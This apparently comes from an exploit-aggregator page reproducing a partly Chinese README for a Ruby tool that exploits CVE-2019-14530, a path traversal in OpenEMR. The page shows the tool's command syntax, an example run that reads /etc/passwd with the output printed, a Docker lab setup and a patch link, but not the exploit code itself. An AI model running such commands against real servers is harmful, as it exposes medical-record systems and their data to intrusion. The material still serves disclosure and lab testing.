Sploitus

exploit

kitploit · 2026-09-01

Exploit Code

MARKDOWN125 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SEC-IT-EXPLOIT-CVE-2019-14530
# OpenEMR CVE-2019-14530 漏洞利用

> OpenEMR < 5.0.2 - (已认证) 路径遍历 - 本地文件泄露

针对 CVE-2019-14530 的漏洞利用。

[EDB-50087] [PacketStorm]

## 用法

root@kitploit:~
    
    
    $ ruby exploit.rb -h                                              
    OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure
    
    Source: https://github.com/sec-it/exploit-CVE-2019-14530
    
    Usage:
      exploit.rb exploit <url> <filename> <username> <password> [--debug]
      exploit.rb -h | --help
    
    Options:
      <url>       Root URL (base path) including HTTP scheme, port and root folder
      <filename>  Filename of the file to be read
      <username>  Username of the admin
      <password>  Password of the admin
      --debug     Display arguments
      -h, --help  Show this screen
    
    Examples:
      exploit.rb exploit http://example.org/openemr /etc/passwd admin pass
      exploit.rb exploit https://example.org:5000/ /etc/passwd admin pas
    

## 示例

root@kitploit:~
    
    
    $ ruby exploit.rb exploit http://172.21.0.2 /etc/passwd admin pass
    root:x:0:0:root:/root:/bin/ash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/usr/lib/news:/sbin/nologin
    uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
    operator:x:11:0:operator:/root:/bin/sh
    man:x:13:15:man:/usr/man:/sbin/nologin
    postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
    cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
    ftp:x:21:21::/var/lib/ftp:/sbin/nologin
    sshd:x:22:22:sshd:/dev/null:/sbin/nologin
    at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
    squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
    xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
    games:x:35:35:games:/usr/games:/sbin/nologin
    postgres:x:70:70::/var/lib/postgresql:/bin/sh
    cyrus:x:85:12::/usr/cyrus:/sbin/nologin
    vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
    ntp:x:123:123:NTP:/var/empty:/sbin/nologin
    smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
    guest:x:405:100:guest:/dev/null:/sbin/nologin
    nobody:x:65534:65534:nobody:/:/sbin/nologin
    apache:x:100:101:apache:/var/www:/sbin/nologin
    

## 依赖

  * httpx
  * docopt.rb



使用 gem 的示例:

root@kitploit:~
    
    
    bundle install
    # or
    gem install httpx docopt
    

## 使用 Docker 部署漏洞软件

警告:此设置当然不适合用于生产环境!

root@kitploit:~
    
    
    $ sudo docker-compose up
    

## 限制

  * **读取** :当然,您是使用 Web 用户权限进行读取的,所以不要期望能读取 root 文件。



## 参考资料

  * 目标软件:**OpenEMR**
    * 主页:https://www.open-emr.org/
    * 源码:https://github.com/openemr/openemr
    * Docker:参见 `docker-compose.yml`
    * 受影响版本:< 5.0.2(即最高为 5.0.1.7)
    * 补丁:https://github.com/openemr/openemr/pull/2592/files



这是对 EDB-50037 的更好重写。

该漏洞由 Wezery 发现。

对原始漏洞利用及漏洞的分析:

  * 路径遍历漏洞 - PDF
  * README#Description